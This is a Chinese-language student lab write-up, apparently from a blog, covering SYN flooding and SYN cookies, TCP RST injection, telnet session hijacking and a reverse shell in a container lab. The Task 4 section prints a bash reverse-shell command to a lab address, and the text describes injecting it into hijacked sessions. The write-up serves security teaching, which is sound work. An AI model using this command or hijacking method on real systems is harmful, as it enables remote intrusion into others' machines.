网络攻防技术——TCP攻击
实验10:TCP攻击
本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中,我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击,为什么"看似良性"的错误会变成灾难,以及为什么需要许多安全机制。更重要的是,它还帮助学生了解漏洞的常见模式,从而避免将来犯类似的错误。此外,使用漏洞作为案例研究,学生可以学习安全设计、安全编程和安全测试的原则。
TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞;它们提供了一个宝贵的教训,说明了为什么安全性应该从一开始就设计好,而不是事后才加上。此外,研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,学生将对TCP进行几个攻击。本实验涵盖以下主题:
-
TCP协议
-
TCP SYN洪水攻击和SYN cookie
-
TCP重置攻击
-
TCP会话劫持攻击
-
反向Shell
-
环境准备
-
Task 1
-
Task 1.1
在这个实验中,我们使用容器号为ae的seed-attacker运行攻击程序,容器号为55的victim作为受害者主机
Ubuntu默认开启 Syncookies 功能,服务器在收到 SYN 包后会立即返回一个SYN+ACK包给客户端,但此时还不分配专门的数据区,而是在内部维护一个 hash表来缓存未完成的连接信息。只有当客户端能正确回复哈希值时,服务端才会认为连接建立成功,并将该连接信息从hash表中移除。如果客户端没有回复 ACK 应答,或者回复的ACK包被篡改,服务端会根据 SYN 的信息重新构造 SYN+ACK 包,直到最终成功建立连接或者超时退出。通过使用 Syncookies 技术,可以在不消耗过多系统资源的情况下有效防御 SYN Flood 攻击
查看受害者主机的Syncookies发现已经关闭
补充提供的python代码,通过netstat命令发现受害者主机23号端口上开启了TCP服务,并且我们选择的验证的服务telnet也是运行在23号端口上,可以根据竞争结果判断是否攻击成功于是选择23作为攻击端口;注意要使用随机源IP地址,提高攻击成功率
在攻击者主机运行攻击程序
尝试使用telnet登录受害者主机,发现虽然延迟了一段时间,但最终还是成功登录,攻击失败
实验手册给出了可能失败的原因,逐一排查
-
TCP缓存策略:如果主机与某一地址建立过TCP连接,那么之后一段时间如果该地址重复发来TCP连接请求,主机依然会使用之前建立的连接状态,而不是重新建立新的连接状态,就像把TCP连接缓存起来了一样,直到cache过期,这个连接状态存储的位置就是队列为"已验证的目的地"保留的四分之一空间
查看受害者主机的TCP Cache,发现有缓存,telnet登录(包括发起的SYN Flooding)使用的可能就是这个cache,于是使用ip tcp_metrics flush命令清空缓存
-
VirtualBox保护策略:受害者主机收到SYN后,返回SYN+ACK给攻击者主机,但受害者的NAT服务器收到SYN+ACK后,因为源IP地址是随机地址,NAT并没有建立过该地址的映射条目,于是向受害者返回RST,使受害者删除了半连接条目。这里我们使用的是docker容器,不存在这个问题
-
TCP重传:如果受害者建立半连接状态后,没有收到第三次握手,就会重新发送SYN+ACK,这个过程会重复5次,否则删除该状态,每次当一个连接状态被移除时,一个slot就会打开。SYN Flooding包和合法的telnet连接请求包将争夺这个slot。Python 程序运行速度较慢,可能输给合法的telnet数据包,我们的解决办法是同时运行多个攻击程序
-
受害者主机会有一个保存已经建立半连接状态的队列,我们减小队列的大小,减小到80,注意队列中四分之一的空间是为"已验证的目的地"保留的,所以有效队列大小只有60
重新运行攻击程序,发现telnet登录失败,报错连接超时,证明我们攻击成功!
使用netstat命令发现建立了大量半连接状态(SYN_RECV)
查看当前系统中处于SYN_RECV状态的网络连接数,发现超过了设定的最大阈值——60
-
-
Task 1.2
还原受害者的半连接会话队列并清空TCP缓存
编译并运行提供的C语言程序,依然攻击受害者的23号端口
使用telnet请求连接受害者主机,发现连接失败,报错超时,证明攻击成功
使用netstat查看当前网络状态,发现建立了大量半连接状态(SYN_RECV)
查看当前系统中处于SYN_RECV状态的网络连接数,发现超过了设定的最大阈值——96(128的四分之三)
C语言是编译型语言,经过编译器的编译和优化后,转换成机器码直接执行,而python是解释型语言,天生比编译型语言执行速度慢,源代码逐行被解释器执行,在这个任务中程序的执行速度又是攻击成功的重要条件,执行速度过慢则竞争不过正常的telnet数据包,导致攻击失败
-
Task 1.3
打开SYN Cookie
重新发起攻击,发现虽然延迟了一会儿,但最终telnet成功登录,攻击失败
查看当前系统中处于SYN_RECV状态的网络连接数,发现已经超过了最大阈值128,但是依然能继续成功建立TCP连接
SYN Cookie是对TCP服务器端的三次握手做一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器接收到TCP SYN包并返回TCP SYN + ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。这个cookie作为将要返回的SYN ACK包的初始序列号。当客户端返回一个ACK包时,根据包头信息计算cookie,与返回的确认序列号(初始序列号 + 1)进行对比,如果相同,则是一个正常连接,然后,分配资源,建立连接。所以虽然系统看似保存了很多的无效TCP半连接状态,但并没有消耗服务器资源,SYN cookie参考浏览器cookie,服务器不会保存这个cookie值,而是客户端保存自己的cookie值,服务器只负责收到客户端发来的cookie后进行验证
-
-
Task 2
使用wireshake抓包分析telnet数据包
因为要伪造的是受害者主机发出的RST数据包,所以这里选择捕获受害者主机发出的数据包,IP层协议字段不变,将TCP层数据包的标志位改成RST(R),sequence number加一即可(原因是嗅探到的数据包实际已经被发送到服务器并被成功接收,所以这里伪造的是下一个数据包,下一个数据包的seq等于他发的上一个数据包的seq+上一个数据包的长度,因为telnet只传递了一个字符,所以应该+1),把构造好的数据包发送给另一台主机,具体代码如下:
在攻击者主机上运行RST攻击程序
在另一台主机上尝试连接受害者主机,发现连接被受害者中断,说明我们伪造受害者主机的RST数据包成功发送,攻击成功!
-
Task 3
这里使用受害者主机(10.9.0.5)作为telnet服务器端,在另一台主机(10.9.0.6)上登录受害者主机,攻击者主机伪造telnet数据包,劫持他们的telnet会话并注入恶意命令
使用wireshake抓包分析telnet数据包,发现命令和命令回显结果通过data段传输,要修改的就是这一部分
捕捉发给受害者主机的telnet数据包,将数据包的data部分修改成我们要执行的恶意代码,这里将echo回显结果发送给10.9.0.7主机,我们在10.9.0.7主机上使用nc监听,如果收到了回显结果,说明攻击成功。
根据wireshake抓包结果,TCP层数据报的标志位应该修改成ACK(A),因为我们是劫持的是旧命令的数据包(因为此时telnet客户端回显了一个字符,说明服务器已经收到了这个字符),需要再重新另起一个新命令,所以新命令的sequence number+1,新命令的ack也+1
完整的代码如下:
这里需要等待telnet先登录成功,因为我们需要利用登录的身份验证过程,登录成功后开始运行我们的攻击程序,这里运行攻击程序后,原telnet登录主机不能继续在shell输入,其实是因为登录端shell的字符是telnet服务器主机返回的字符,相当于绕了一个圈绕到了客户端的shell处,使用wireshake抓包发现客户端每输入一个字符,就向服务端发送一个字符,服务端将这个字符再发送回客户端,在客户端显示,这样设计的好处是能时刻保持服务端和客户端的统一
我们将会话劫持之后,已经将下一个数据包发送给服务器了(ACK已经+1),操作系统收到重复乱序的数据包直接丢弃,服务器没有收到客户端的字符,自然无法回显。
nc监听端成功收到了消息,证明劫持程序成功,注入了恶意命令
-
Task 4
这个任务依然是使用的上一个任务的会话劫持的漏洞,只需修改上面程序的data部分,即要注入的代码部分即可,这是使用标准输出和标准输入重定向以及TCP连接,成功将一个可交互的shell发送到攻击者主机的8900端口上;反弹shell的好处是可以连续执行多条命令并且有回显结果,不用每一次都劫持数据包
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
在攻击者主机上监听8900端口
在另一台主机上使用telnet登录受害者主机,完成身份验证过程
此时攻击者主机运行劫持程序
发现telnet会话被劫持,客户端用户无法输入命令使用shell
查看nc的端口监听情况,发现成功进入受害者的shell中,并且可以执行命令,劫持攻击成功!
-
总结
TCP SYN Flood 攻击是一种 Dos 攻击方式,利用的是在短时间内与 Server建立多个 TCP 的半连接(未发送 ACK 数据包),因此 Server 在没有防御措施的情况下都会接收并建立连接等待 ACK 数据包。抵御该模式的方式就是SYN cookies,在完成三次握手之前不会为任何一个连接分配资源,因为消耗服务器资源主要是因为当 SYN 数据报文一到达,系统立即分配 TCB,从而占用了资源。而 SYN Flood 由于很难建立起正常连接,因此,当正常连接建立起来后再分配 TCB 则可以有效地减轻服务器资源的消耗。
RST表示复位,用来异常的关闭连接。TCP RST攻击是攻击者针对 AB 间建立的会话,通过 RST 将其中止以实现攻击。防御手段是可以使用防火墙将进来的包带RST位的包丢弃。
TCP 会话劫持攻击的目的是通过向两个受害者之间已有的 TCP 连接(会话)中注入恶意内容来劫持该会话。TCP会话劫持的攻击方式可以对基于TCP的任何应用发起攻击,如HTTP、FTP、Telnet等。在 TCP 会话劫持攻击中,攻击者不能直接在受害机器上运行命令,因此经常是通过会话劫持攻击来运行一个反向 shell 命令。最根本的解决办法是采用加密通讯,如使用SSL套件的SSH、HTTPS等连接。
这些漏洞存在的原因都是因为TCP协议在设计的时候没有考虑到安全性的要求,协议本身就存在着漏洞,因此后人只能不断地提出一些方法来弥补漏洞,提示我们在设计协议等应用时,一定要充分考虑其安全性。
本文来自博客园,作者:Leo1017,转载请注明原文链接:https://www.cnblogs.com/leo1017/p/17931506.html